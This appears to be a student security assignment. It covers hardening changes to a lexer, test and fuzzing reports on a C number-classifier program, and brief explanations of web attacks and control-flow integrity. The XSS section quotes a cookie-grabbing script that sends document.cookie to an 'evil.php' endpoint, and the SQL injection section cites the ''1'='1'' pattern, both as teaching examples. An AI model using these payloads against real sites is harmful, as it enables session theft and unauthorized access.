Line 38: Changed from char nextChar; to include a new line after:
int nextCharInt = EOF;
Line 43: Added new constant:
const int MAX_LEXEME_LENGTH = 256; // small cap to avoid runaway lexemes

```
26  #include <iostream>
27  #include <fstream>
28  #include <cctype>
29  #include <string>
30  #include <limits>
31  using namespace std;
32
33  /* Global declarations */
34  /* Variables */
35  int charClass;
36  string lexeme;
37  char nextChar;
38  int nextCharInt = EOF;
39  int lexLen;
40  int nextToken;
41  ifstream in_fs;
42
43  const int MAX_LEXEME_LENGTH = 256; // small cap to avoid runaway lexemes
44
45  /* Function declarations */
46  void addChar ();
47  void getChar ();
48  void getNonBlank ();
49  int lex ();
50  void program ();
51  void header ();
52  void statement ();
53  void declaration ();
54  void assign ();
55  void stream ();
56  void input ();
57  void output ();
58  void forLoop ();
59  void boolexpr ();
60  void expr ();
61  void term ();
62  void factor ();
63  void error ();
```

Line 66: Added new function declaration:
void validateIntLiteral (const string &literal);

```
49      int lex ();
50      void program ();
51      void header ();
52      void statement ();
53      void declaration ();
54      void assign ();
55      void stream ();
56      void input ();
57      void output ();
58      void forLoop ();
59      void boolexpr ();
60      void expr ();
61      void term ();
62      void factor ();
63      void error ();
64      void array ();
65      void ifStatement ();
66      void validateIntLiteral (const string &literal);
67
```

Lines 326-340: Modified addChar() function - added validation checks:

```
324  /*****************************************************/
325  /* addChar - a function to add nextChar to lexeme */
326  void
327  addChar ()
328  {
329    if (nextCharInt == EOF)
330      {
331        cerr << "Unexpected EOF while building lexeme\n";
332        error ();
333      }
334    if ((int) lexeme.size () >= MAX_LEXEME_LENGTH)
335      {
336        cerr << "Lexeme is too long\n";
337        error ();
338      }
339    lexeme.push_back (nextChar);
340  }
341
```

Lines 345-365: Modified getChar() function - changed EOF handling and character validation:

```
342  /*****************************************************/
343  /* getChar - a function to get the next character of
344               input and determine its character class */
345  void
346  getChar ()
347  {
348    nextCharInt = in_fs.get ();
349    if (nextCharInt != EOF)
350      {
351        nextChar = static_cast < char >(nextCharInt);
352        unsigned char safeChar = static_cast < unsigned char >(nextChar);
353        if (isalpha (safeChar) || nextChar == '_')
354      charClass = LETTER;
355        else if (isdigit (safeChar))
356      charClass = DIGIT;
357        else
358      charClass = UNKNOWN;
359      }
360    else
361      {
362        nextChar = '\0';
363        charClass = EOF;
364      }
365  }
366
```

Line 373: Modified getNonBlank() to use safe character casting:

```
368  /* getNonBlank - a function to call getChar until it
369                   returns a non-whitespace character */
370  void
371  getNonBlank ()
372  {
373    while (isspace (static_cast < unsigned char >(nextChar)))
374      getChar ();
375  }
376
377  /*****************************************************/
378  /* lex - a simple lexical analyzer for arithmetic
379           expressions */
380  int
381  lex ()
382  {
383    lexeme.clear ();
384    getNonBlank ();
385    switch (charClass)
386      {
387        /* Parse identifiers */
388      case LETTER:
389        addChar ();
390        getChar ();
391        while (charClass == LETTER || charClass == DIGIT)
392      {
393        addChar ();
394        getChar ();
395      }
396        if (lexeme == "main")
397      nextToken = MAIN;
398        else if (lexeme == "include")
399      nextToken = INCLUDE;
400        else if (lexeme == "iostream")
401      nextToken = IOSTREAM;
402        else if (lexeme == "using")
403      nextToken = USING;
404        else if (lexeme == "namespace")
405      nextToken = NAMESPACE;
```

Line 432: Added validation call after parsing integer literals:

```
423        /* Parse integer literals */
424      case DIGIT:
425        addChar ();
426        getChar ();
427        while (charClass == DIGIT)
428      {
429        addChar ();
430        getChar ();
431      }
432        validateIntLiteral (lexeme);
433        nextToken = INT_LIT;
434        break;
435        /* Parentheses and operators */
436      case UNKNOWN:
437        lookup (nextChar);
438        getChar ();
```

Line 676: Added explicit namespace resolution:

```
657         lex ();
658         if (nextToken == ASSIGN_OP)
659         {
660           lex ();
661           expr ();
662         }
663         if (nextToken == LEFT_BRACKET)
664         {
665           lex ();
666           if (nextToken == INT_LIT)
667           {
668             lex ();
669           }
670           if (nextToken == RIGHT_BRACKET)
671           {
672             lex ();
673             if (nextToken == ASSIGN_OP)
674             {
675               lex ();
676             ::array ();
677             }
678           }
679           }
680       }
681         else
682       error ();
683         while (nextToken == COMMA)
684       {
685         lex ();
686         if (nextToken == IDENT)
687         {
688           lex ();
689           if (nextToken == ASSIGN_OP)
690           {
691             lex ();
692             expr ();
693           }
694           }
695         else
```

Line 639: Added else clause in statement() function:

```
608          assign ();
609          if (nextToken == SEMICOLON)
610        lex ();
611          else
612        error ();
613        }
614      else if (nextToken == CIN || nextToken == COUT)
615        {
616          stream ();
617          if (nextToken == SEMICOLON)
618        lex ();
619          else
620        error ();
621        }
622      else if (nextToken == RETURN)
623        {
624          lex ();
625          if (nextToken == INT_LIT)
626        lex ();
627          else
628        error ();
629
630          if (nextToken == SEMICOLON)
631        lex ();
632          else
633        error ();
634        }
635      else if (nextToken == IF)
636        ifStatement ();
637      else if (nextToken == FOR)
638        forLoop ();
639      else
640        error ();
641      cout << "Exit <statement>" << endl;
642    }
643
```

Lines 1056-1074: Added new validateIntLiteral() function at the end:

```
1043                }
1044              if (nextToken == RIGHT_CURLY)
1045                lex ();
1046              else
1047                error ();
1048            }
1049            }
1050        }
1051        }
1052      cout << "Exit <ifStatement>" << endl;
1053    }
1054
1055     void
1056    validateIntLiteral (const string &literal)
1057    {
1058      long long value = 0;
1059      for (size_t i = 0; i < literal.size (); ++i)
1060        {
1061          char c = literal[i];
1062          if (!isdigit (static_cast < unsigned char >(c)))
1063        {
1064          cerr << "Invalid integer literal: " << literal << "\n";
1065          error ();
1066        }
1067          value = value * 10 + (c - '0');
1068          if (value > numeric_limits < int >::max ())
1069        {
1070          cerr << "Integer literal out of 32-bit range: " << literal << "\n";
1071          error ();
1072        }
1073        }
1074    }
1075
```

4.

Black-Box Testing

In the first black-box test, a typical mixed list produced the correct even, odd, and prime classifications. In the second test, a single-value input behaved correctly and appeared in all appropriate categories. In the third test, giving n = 0 resulted in no crash and correctly produced no output. In the fourth test, a list of all odd numbers generated an empty even list and appropriate odd and prime outputs. In the fifth test, providing a negative n caused a crash due to an invalid VLA size, revealing the first fault.

White-Box Testing

In the first white-box test, a path covering even, odd, and prime branches executed correctly and matched expected behavior. In the second test, non-prime composite values forced the prime-checking loop to run fully and correctly produced no primes. In the third test, including zero and negative numbers showed that the program handled modulo classification without unexpected behavior. In the fourth test, walking through repeated output branches with many odd and prime numbers produced correct lists. In the fifth test, using a large prime caused the i*i overflow in the prime loop to hang the program, exposing the second fault.

Black-Box Fuzzing

In the first fuzzing test, random small integers produced valid outputs without errors. In the second fuzz case, extreme integer values worked correctly with modulo operations. In the third test, repeated alternating values caused no instability and produced consistent results. In the fourth test, large composite numbers stressed the prime loop while still completing normally. In the fifth test, injecting a non-numeric token caused scanf to fail silently and leave garbage in the array, exposing the third fault.

White-Box Fuzzing

In the first white-box fuzz test, large prime-like values exercised deep prime-checking paths while still succeeding. In the second test, many consecutive primes forced repeated prime-path execution but produced correct classifications. In the third test, a list of only zeros validated that the program correctly filled only the even list. In the fourth test, fifty sequential numbers stressed all loops but still ran successfully, though more slowly. In the fifth test, giving a massive n caused the stack-allocated VLA to overflow and crash, revealing the fourth fault.

Black-Box Testing

In the first black-box test, I used a normal mix of even, odd, and prime numbers, and the program separated them exactly as expected without any surprises. For the second test, I tried a single input value just to see if the program handled small cases, and it correctly placed that number in every category where it belonged. In the third test, I checked what would happen if the user entered zero items, and the program simply printed nothing but stayed stable, which is the correct behavior. In the fourth test, I only

used odd numbers, including some negative values, and the program correctly recognized them as odd while also marking only the positive ones as prime, which made sense. In the fifth black-box test, I intentionally entered a negative value for the count, and the program crashed because it tried to create an array using that negative size, which exposed the first major bug.

ID	Input (n / values)	Focus	Expected	Actual	Result	Notes
Black Box Test 1	5 / [2,3,4,5,6]	Typical mixed list	Even=2,4,6; Odd=3,5; Prime=2,3,5	Matches	Pass	Normal run, nothing odd.
Black Box Test 2	1 / [2]	Smallest valid size	Same value shows up in all lists	Matches	Pass	Shows single-value handling.
Black Box Test 3	0 / []	Edge n=0	No output but no crash	No Crash	Pass	Program quietly skips work.
Black Box Test 4	4 / [-3,-1,5,7]	All odd numbers	Empty even list, odd/primes filled	Matches	Pass	Negatives counted as odd, not prime.
Black Box Test 5	-3 / —	Reject invalid count	Should refuse to build array	Crashes on int arr[n]	Fail	Bug BB-F1: negative size for VLA.

Output

```
Enter the number of elements you want to store in the array: 5
Enter 5 integers:
2
3
4
5
6

===== Analysis of Numbers =====

Even numbers: 2 4 6

Odd numbers: 3 5

Prime numbers: 2 3 5
```

Output Clear

```
Enter the number of elements you want to store in the array: 1
Enter 1 integers:
2

===== Analysis of Numbers =====

Even numbers: 2

Odd numbers:

Prime numbers: 2
```

Output

```
Enter the number of elements you want to store in the array: 0
Enter 0 integers:

===== Analysis of Numbers =====

Even numbers:

Odd numbers:

Prime numbers:
```

Output

```
Enter the number of elements you want to store in the array: 4
Enter 4 integers:
-3
-1
5
7

===== Analysis of Numbers =====

Even numbers:

Odd numbers: -3 -1 5 7

Prime numbers: 5 7
```

```
Output
Enter the number of elements you want to store in the array: -3
Enter -3 integers:

===== Analysis of Numbers =====

Even numbers:

Odd numbers:

Prime numbers:
```

White-Box Testing

In the first white-box test, I walked through a path that triggered the even, odd, and prime checks in order, and the outputs lined up exactly with what the code logic suggested. For the second test, I used only composite numbers to force the prime-checking loop to run multiple rounds, and it correctly produced no primes at all. In the third test, I used zero and some negative numbers to check how the internal modulo operations behaved, and the code handled all of them without crashing or mislabeling values. In the fourth test, I included several numbers that should hit each print branch repeatedly, and the program printed long but accurate lists for each category. In the final white-box test, I used the largest 32-bit integer, and the prime loop overflowed internally and never ended, which revealed a second serious bug in the prime-checking logic.

ID	Input	Path Goal	Expected	Actual	Result	Notes
White Box Test 1	3 / [2,4,5]	Walk even→odd→prime flow	Lists split correctly	Match	Pass	Hits isPrime exit at divisor 2.
White Box Test 2	3 / [49,77,91]	Keep isPrime loop going	No primes	Match	Pass	Shows loop limit check.

White Box Test 3	3 / [0,-2,9]	Cover zero and negative values	Even has 0,-2; primes empty	Match	Pass	% logic behaves for negatives.
White Box Test 4	5 / [1,2,3,5,11]	Repeat each output branch	Even=2; Odd=1,3,5,11; Prime=2,3,5,11	Match	Pass	Prints long lists.
White Box Test 5	1 / [2147483648]	Hit max 32-bit prime path	Should finish or print result	Hangs because i*i overflows	Fail	Bug WB-F1: overflow keeps loop running.

Output

```
Enter the number of elements you want to store in the array: 3
Enter 3 integers:
2
4
5

===== Analysis of Numbers =====

Even numbers: 2 4

Odd numbers: 5

Prime numbers: 2 5
```

Output

```
Enter the number of elements you want to store in the array: 3
Enter 3 integers:
49
77
91

===== Analysis of Numbers =====

Even numbers:

Odd numbers: 49 77 91

Prime numbers:
```

Output

```
Enter the number of elements you want to store in the array: 3
Enter 3 integers:
0
-2
9

===== Analysis of Numbers =====

Even numbers: 0 -2

Odd numbers: 9

Prime numbers:
```

Output

```
Enter the number of elements you want to store in the array: 5
Enter 5 integers:
1
2
3
5
11

===== Analysis of Numbers =====

Even numbers: 2

Odd numbers: 1 3 5 11

Prime numbers: 2 3 5 11
```

Output Clear

```
Enter the number of elements you want to store in the array: 1
Enter 1 integers:
2147483648

===== Analysis of Numbers =====

Even numbers: -2147483648

Odd numbers:

Prime numbers:


=== Code Execution Successful ===
```

Black-Box Fuzzing

In the first fuzzing test, I used a random set of small integers just to see if anything unpredictable would happen, and everything worked normally without any odd behavior. For the second fuzz test, I used the smallest and largest integers possible, and surprisingly the program handled the modulo operations correctly without crashing. In the third test, I repeatedly fed the program alternating values like 0 and 1, and it consistently produced the same results each time, showing it didn't drift or behave inconsistently. In the fourth fuzz test, I used large composite numbers to stress the prime-checking loop, and the program still completed successfully even though the checks took longer. In the fifth fuzz test, I inserted a non-numeric value into the input, and because the program never checks whether scanf actually succeeds, that array slot became garbage data, revealing another obvious bug.

ID	Input	Goal	Expected	Actual	Result	Notes
Black Box Fuzzing Test 1	n=5 / random small ints	Random but valid data	Clean Output	Works	Pass	Warm-up fuzz case.
Black Box Fuzzing Test 2	n=4 / [INT_MIN, -1,0,INT_MAX]	Very large/small values	No overflow in %	Works	Pass	Modulo handles extremes.
Black Box Fuzzing Test 3	n=6 / alternating 0/1	Many repeats	Works	Pass	No drift over repeats	No drift over repeats.
Black Box Fuzzing Test 4	n=3 / large composites	Force long prime loops	Works	Pass	Nothing Strange	Nothing strange.
Black Box Fuzzing Test 5	n=3, third entry "xyz"	Bad token in the middle	Should re-read Value	Scanf fails, arr[2] garbage	Fail	Bug FZ-F1: element read not checked.

Output

```
Enter the number of elements you want to store in the array: 5
Enter 5 integers:
1
8
2
5
4

===== Analysis of Numbers =====

Even numbers: 8 2 4

Odd numbers: 1 5

Prime numbers: 2 5
```

Output

```
Enter the number of elements you want to store in the array: 4
Enter 4 integers:
-2147483648
-1
0
2147483647

===== Analysis of Numbers =====

Even numbers: -2147483648 0

Odd numbers: -1 2147483647

Prime numbers:


=== Code Execution Successful ===
```

Output

```
Enter the number of elements you want to store in the array: 6
Enter 6 integers:
0
1
0
1
0
1

===== Analysis of Numbers =====

Even numbers: 0 0 0

Odd numbers: 1 1 1

Prime numbers:
```

Output

```
Enter the number of elements you want to store in the array: 3
Enter 3 integers:
10002
10005
10010

===== Analysis of Numbers =====

Even numbers: 10002 10010

Odd numbers: 10005

Prime numbers:


=== Code Execution Successful ===
```

Output

```
Enter the number of elements you want to store in the array: 3
Enter 3 integers:
2
6
xyz

===== Analysis of Numbers =====

Even numbers: 2 6

Odd numbers: 4198895

Prime numbers: 2


=== Code Execution Successful ===
```

White-Box Fuzzing

In the first white-box fuzz test, I tried some very large numbers that looked like primes, and the program still processed them correctly without running too slowly. For the second test, I used several prime numbers in a row to keep hitting the same prime-detection path, and it grouped them all correctly into the prime list. In the third fuzz test, I filled the list with only zeros to see if the code handled repetitive inputs well, and it correctly placed all of them into the even category and nowhere else. In the fourth test, I gave the program fifty sequential numbers, which forced the loops to run many times, and the program worked fine even though the runtime was noticeably slower. In the last white-box fuzz test, I pushed the program by setting n to a very large value, which caused the stack to run out of space because of the giant variable-length array, revealing the final bug.

ID	Input	Goal	Expected	Actual	Result	Notes

White Box Fuzzing Test 1	n=2 / [100000,100003]	Large safe primes	Still classify fine	Works	Pass	Shows loop cost is fine.
White Box Fuzzing Test 2	n=8 / [2,3,5,7,11,13,17,19]	Many primes in a row	All land in the prime list	Works	Pass	Keeps hitting same path.
White Box Fuzzing Test 3	n=5 / [0,0,0,0,0]	All zeros	Even list full, others empty	Works	Pass	Nothing blows up.
White Box Fuzzing Test 4	n=50 / sequential numbers	Long loops everywhere	Works, just slower	Pass	Acceptable Runtime	
White Box Fuzzing Test 5	n=2000000000	Push stack + time	Stack VLA (>800 KB) blows up	Fail	Bug WF-F1: no limit on VLA size.	

Output

```
Enter the number of elements you want to store in the array: 2
Enter 2 integers:
100000
100003

===== Analysis of Numbers =====

Even numbers: 100000

Odd numbers: 100003

Prime numbers: 100003
```

Output

```
Enter the number of elements you want to store in the array: 5
Enter 5 integers:
0
0
0
0
0

===== Analysis of Numbers =====

Even numbers: 0 0 0 0 0

Odd numbers:

Prime numbers:
```

Output

```
Enter the number of elements you want to store in the array: 8
Enter 8 integers:
2
3
5
7
11
13
17
19

===== Analysis of Numbers =====

Even numbers: 2

Odd numbers: 3 5 7 11 13 17 19

Prime numbers: 2 3 5 7 11 13 17 19
```

Output

Clear

```
Enter the number of elements you want to store in the array: 50
Enter 50 integers:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
```

Output

```
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
```

```
Output                                                    Clear
37
38
39
40
41
42
43
44
45
46
47
48
49
50

===== Analysis of Numbers =====

Even numbers: 2 4 6 8 10 12 14 16 18 20 22 24 26 28 30 32 34 36 38 40 42 44 46 48 50
```

```
Odd numbers: 1 3 5 7 9 11 13 15 17 19 21 23 25 27 29 31 33 35 37 39 41 43 45 47 49

Prime numbers: 2 3 5 7 11 13 17 19 23 29 31 37 41 43 47
```

```c
#include <stdio.h>
#include <stdbool.h> // For using boolean type

// Function to check if a number is prime
bool isPrime(int num) {
    if (num <= 1) return false;
    if (num == 2) return true; // Numbers less than or equal to 1 are not prime
    if (num % 2 == 0) return false; // 2 is prime

    for (int i = 3; i * i <= num; i += 2) {
        if (num % i == 0) return false; // Even numbers other than 2 are not prime
    }
    return true; // If no divisors found, it is prime
}

int main() {
    int n;
    printf("Enter the number of elements you want to store in the array: ");
    scanf("%d", &n);
```

```
Enter the number of elements you want to store in the array: 2000000000
Segmentation fault


=== Code Exited With Errors ===
```

5.

Cross-site scripting is an injection attack that injects malicious code through trusted websites. An end user usually encounters these attacks by viewing a browser side script that appears legitimate because the script has the same permissions as a legitimate site would usually have. These scripts can use these permissions to steal user's sensitive information like session cookies that allow them to hijack user's

sessions or redirect the user to a malicious site that will steal their credentials. The reason why these attacks are effective is that browsers will assume the cross-site script is trustworthy because they think its permissions came from a trusted source. Users usually encounter these attacks in comment sections when they click a link that redirects to a page with an XSS script. An example of a cross-site scripting attack is the cookie grabber:

```
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>
```

In this attack, a hacker can steal content from a user's cookie by posting this code in a message board, private messages, or user profiles and put cookie's contents in a php script after the user clicks the link to use for malicious purposes later.

Session hijacking is when a hacker exploits the web session control mechanism of a web server to gain unauthorized access to that server. The ways to gain illegitimate access to a web server would be to steal a valid session token or predict what session token would be valid. In order for this attack to be successful, the person being impersonated through this attack has to already be a valid user in the web server. An example of session hijacking is session sniffing which is a technique that uses a sniffer to steal a valid token session/session id. The hacker finds an active session id by using a sniffer to intercept unencrypted network traffic, which is why users should use VPNs in public wifi networks.

A cross-site request forgery is an attack that tricks users into sending unwanted commands to an application that they are logged into. This attack relies on an application's trust in authenticated sessions to be able to gain access to a user's account and data. If the user has a major role like administrator in an application, the cross-site request forgery attack could allow a hacker to gain total control of the application's functionality. For example, a hacker committed a CSRF attack against Tesla owners in 2017 on Tesla's web interface that hijacked control of car owners' accounts. If the Tesla owner visited the hacker's malicious site while logged in, hackers can unlock car doors and control climate systems.

SQL Injection is when an application's query to a database is used to hijack a database. This attack inserts malicious code into a database by concatenating invalid user input into a query like '1' ='1'. Statements like '1' = '1' can grant hackers access to all information in a database like all passwords or usernames because the statement is always going to be true. An example of an SQL Injection attack is an Error-Based SQLi attack that exploits an error message in a database server to learn the file structure of a database.

6.

Control flow integrity is the concept of making programs execute a predetermined path to avoid allowing exploits from redirecting the flow of the program to a location that

can inject malicious code into the program. During the runtime of a program, control flow integrity would ensure the program's control flow will follow a legitimate control-flow graph that was already predefined during compilation. The control-flow graph would provide valid locations so that control flow integrity would be able to dynamically verify each control flow transfer in the program. If the control-flow transfers to a location not allowed by the control flow graph, the program would terminate and create an alert to prevent malicious activity from happening through the program. Control flow integrity can prevent code reuse and control flow hijacking attacks by preventing hackers from executing code outside an execution path designated by control flow graph. Control flow integrity is effective against exploits that utilize memory corruption or other security vulnerabilities.